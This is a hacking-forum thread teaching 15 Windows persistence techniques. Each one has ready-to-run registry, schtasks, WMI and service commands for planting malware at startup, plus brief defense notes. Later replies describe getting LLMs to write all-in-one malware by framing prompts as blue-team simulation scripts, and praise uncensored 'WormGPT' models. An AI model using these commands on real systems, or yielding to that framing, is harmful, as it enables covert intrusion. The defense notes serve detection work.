

Forum:[Hack Forums](#)

Thread: [Persistence in Windows \(2025 Edition\)](#)

??????????? - August 29, 2025, 7:50 am

Persistence in Windows (2025 Edition)

15 Techniques Attackers Still Abuse

Introduction

Persistence = staying on a machine even after reboot or user logoff.

Attackers, malware, and red teamers all rely on persistence to maintain access.

In this thread we'll explore 15 persistence techniques, with commands, red team notes, and defense strategies.

1. Registry Run Keys

Description: Classic technique — executables run at startup.

Examples:

```
Code reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /t REG_SZ /d "C:\malware.exe"
```

```
Code reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /f
```

Red Team Use: Simple persistence for user-level malware.

Defense: Monitor registry Run keys (Sysmon Event ID 13).

2. Scheduled Tasks

Description: Task Scheduler can auto-run malware at intervals.

Examples:

```
Code schtasks /create /sc onlogon /tn EvilTask /tr "C:\payload.exe"
```

```
Code schtasks /query /fo LIST /v
```

Red Team Use: Stable persistence across reboots.

Defense: Audit scheduled task creation (Event ID 4698).

3. WMI Event Subscriptions

Description: Abusing WMI to run code when triggers fire.

Examples (PowerShell):

```
Code Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'" -Action {Start-Process "C:\payload.exe"}
```

Red Team Use: Fileless persistence that survives reboots.

Defense: Monitor WMI permanent event subscriptions.

4. Startup Folder

Description: Dropping shortcuts in Startup folder runs apps on login.

Examples:

Code copy C:\payload.lnk "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Red Team Use: Easy user-level persistence.

Defense: Monitor Startup folder for new files.

5. Services (sc.exe)

Description: Create or hijack Windows services.

Examples:

Code sc create EvilService binPath= "C:\malware.exe" start= auto

Code sc config TrustedService binPath= "C:\evil.exe"

Red Team Use: Long-term persistence with SYSTEM privileges.

Defense: Alert on new/modified services.

6. DLL Search Order Hijacking

Description: Drop malicious DLLs in directories searched before system paths.

Example:

Code copy evil.dll C:\Program Files\VulnerableApp\

Red Team Use: Hijack legitimate apps silently.

Defense: Use Sysinternals ProcMon to detect unusual DLL loads.

7. COM Hijacking

Description: Replace or register malicious COM objects.

Example:

Code reg add HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32 /ve /t REG_SZ /d C:\malicious.dll /f

Red Team Use: Stealthy persistence across reboots.

Defense: Monitor registry for COM hijack attempts.

8. AppInit DLLs

Description: Force Windows to load DLLs into every process.

Example:

Code reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d evil.dll

Red Team Use: Code injection into multiple apps.

Defense: Monitor AppInit_DLLs registry key.

9. Winlogon Shell / Userinit Keys

Description: Modify Winlogon registry for persistence.

Example:

Code reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d

"C:\evil.exe, userinit.exe"

Red Team Use: Malware launches before user session starts.

Defense: Monitor Winlogon registry keys.

10. Office Add-ins

Description: Malicious add-ins for Word/Excel.

Example:

Code copy evil.xll "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\AddIns\"

Red Team Use: Persist via Office execution.

Defense: Audit add-ins folder for unknown files.

11. Image File Execution Options (IFEO)

Description: Registry debugger trick.

Example:

Code reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "C:\evil.exe"

Red Team Use: Replace legit programs with malware.

Defense: Monitor IFEO registry changes.

12. LNK Shortcut Hijacking

Description: Replace common app shortcuts with malicious ones.

Example:

Code copy evil.lnk "C:\Users\Public\Desktop\notepad.lnk"

Red Team Use: Social engineering persistence.

Defense: Verify shortcut targets regularly.

13. Logon Scripts (GPO Abuse)

Description: Add logon scripts via Group Policy.

Example (domain):

Code net user victim /scriptpath:evil.bat

Red Team Use: Domain persistence through GPO.

Defense: Audit GPO for unexpected script paths.

14. Browser Extensions

Description: Malicious extensions in Edge/Chrome/Firefox.

Example:

Code copy evil_extension "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Extensions"

Red Team Use: Persistence through browsers.

Defense: Monitor browser extension directories.

15. OneDrive / Teams Abuse

Description: Abuse sync apps to re-drop payloads.

Example:

Code copy evil.exe "C:\Users\%USERNAME%\OneDrive\Startup\"

Red Team Use: Cloud-sync persistence, re-drops on login.

Defense: Monitor synced startup paths.

Defense Tips Collect Sysmon logs for registry, process, and task creation events.

Restrict write access to autostart locations.

Audit services, scheduled tasks, and GPOs regularly.

Hunt for persistence attempts after phishing or initial access.

Conclusion

Persistence ensures attackers stay inside your network.

Knowing these techniques helps red teamers build stealth and defenders hunt effectively.

Discussion:

Which persistence trick do you think is the hardest to detect in 2025?

Have you seen creative persistence in your own labs? Let's talk below.

ayoua - August 29, 2025, 4:57 pm

thank you this is so useful

best persistence trick for me is proxying com since its stealthy and dont require admin privs

??????????? - October 18, 2025, 2:06 pm

(Aug 29, 2025 04:57 PM)ayoua Wrote: [\[CITE\]](#) thank you this is so useful

best persistence trick for me is proxying com since its stealthy and dont require admin privs

The deeper you dive in, more you learn in this industry.

dragonoir - October 28, 2025, 4:31 am

(Aug 29, 2025 04:57 PM)ayoua Wrote: [\[CITE\]](#) thank you this is so useful

best persistence trick for me is proxying com since its stealthy and dont require admin privs

what proxying com actually is? ?

M2K - October 28, 2025, 5:35 am

As always a great informative share. :)

ayoua - October 28, 2025, 11:24 am

(Oct 28, 2025 04:31 AM)dragonoir Wrote: [\[CITE\]](#) what proxying com actually is? ?

its actually like com hijacking described here on 7 with a small twist , your com gets loaded and then you forward execution to legitimate one so apps depending on it don't crash

DI?E - October 28, 2025, 4:55 pm

Good one. Get these people to learn how to do things manually instead of buying software.

Hackers - October 28, 2025, 6:06 pm

(Oct 28, 2025 04:55 PM)DI?E Wrote: [\[CITE\]](#) Good one. Get these people to learn how to do things manually instead of buying software.

Yeah, agreed - good thread here! It's nice to see it all in one place. A lot of this type of info is spread out and some devs never find what they need.

By the way, if anyone feeds this to an LLM, you can have it write you a prototype script that does all so you can see how they work on your own system from 1 central script for payload mgmt.

???????????? - October 29, 2025, 9:55 am

(Oct 28, 2025 06:06 PM)nodes Wrote: [\[CITE\]](#) Yeah, agreed - good thread here! It's nice to see it all in one place. A lot of this type of info is spread out and some devs never find what they need.

By the way, if anyone feeds this to an LLM, you can have it write you a prototype script that does all so you can see how they work on your own system from 1 central script for payload mgmt.

LLM can make a AIO if its censorship is bypassed.

Hackers - October 29, 2025, 10:01 am

(Oct 29, 2025 09:55 AM)???????????? Wrote: [\[CITE\]](#) LLM can make a AIO if its censorship is bypassed.

It can be hit or miss, but I've had good luck with prompts that are designed to create simulation scripts for testing blue team defenses

???????????? - October 29, 2025, 10:02 am

(Oct 29, 2025 10:01 AM)nodes Wrote: [\[CITE\]](#) It can be hit or miss, but I've had good luck with prompts that are designed to create simulation scripts for testing blue team defenses

IF we have our own LLM uncensored, these inputs can be a deadly tool.

Hackers - October 29, 2025, 10:03 am

(Oct 29, 2025 10:02 AM)???????????? Wrote: [\[CITE\]](#) IF we have our own LLM uncensored, these inputs can be a deadly tool.

oh yeah 100%, surprised there aren't more WormGPT / uncensored LLM projects on HF tbh.

We had a few being worked on but I haven't heard much else

???????????? - October 29, 2025, 10:09 am

(Oct 29, 2025 10:03 AM)nodes Wrote: [\[CITE\]](#) oh yeah 100%, surprised there aren't more WormGPT / uncensored LLM projects on HF tbh.

We had a few being worked on but I haven't heard much else

I am working on one, but it is private. Not up for commercial sales. I will give you a quick look once I am done with it.

Hackers - October 29, 2025, 10:10 am

(Oct 29, 2025 10:09 AM)???????????? Wrote: [\[CITE\]](#) I am working on one, but it is private. Not up for commercial sales. I will give you a quick look once I am done with it.

Awesome, that sounds good. I unfortunately don't have the hardware personally to properly do it with a custom llama or similar, at least not to the quality needed to write POC code on the fly for JIT programs.

???????????? - October 29, 2025, 10:14 am

(Oct 29, 2025 10:10 AM)nodes Wrote: [\[CITE\]](#) Awesome, that sounds good. I unfortunately don't have the hardware personally to properly do it with a custom llama or similar, at least not to the quality needed to write POC code on the fly for JIT programs.

You can use cloud GPUs (RunPod, Colab, Vast.ai) to experiment without local hardware. For offline tests, run lightweight quantized models like Phi-3-mini or Mistral 7B-Q4 using llama.cpp.

Hackers - October 29, 2025, 10:26 am

(Oct 29, 2025 10:14 AM)???????????? Wrote: [\[CITE\]](#) You can use cloud GPUs (RunPod, Colab, Vast.ai) to experiment without local hardware. For offline tests, run lightweight quantized models like Phi-3-mini or Mistral 7B-Q4 using llama.cpp.

True true true

good call, I don't have to self host everything (old habits die hard lol). I'm so involved in tech but man, I hate goddamn clouds & saas & compute time pricing. I use them but sometimes I prefer to overpay just to have everything in a box i own.

??????????? - October 29, 2025, 10:28 am

(Oct 29, 2025 10:26 AM)nodes Wrote: [\[CITE\]](#) True true true

good call, I don't have to self host everything (old habits die hard lol). I'm so involved in tech but man, I hate goddamn clouds & saas & compute time pricing. I use them but sometimes I prefer to overpay just to have everything in a box i own.

Same as me. Old School vibes.

THX100999 - October 31, 2025, 5:43 pm

thank you

??????????? - December 21, 2025, 11:44 am

(Oct 31, 2025 05:43 PM)THX100999 Wrote: [\[CITE\]](#) thank you

Have you applied/tried few of them?

Stanley - September 12, 2026, 6:20 am

I'm Stanley HF's helper bot. The OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley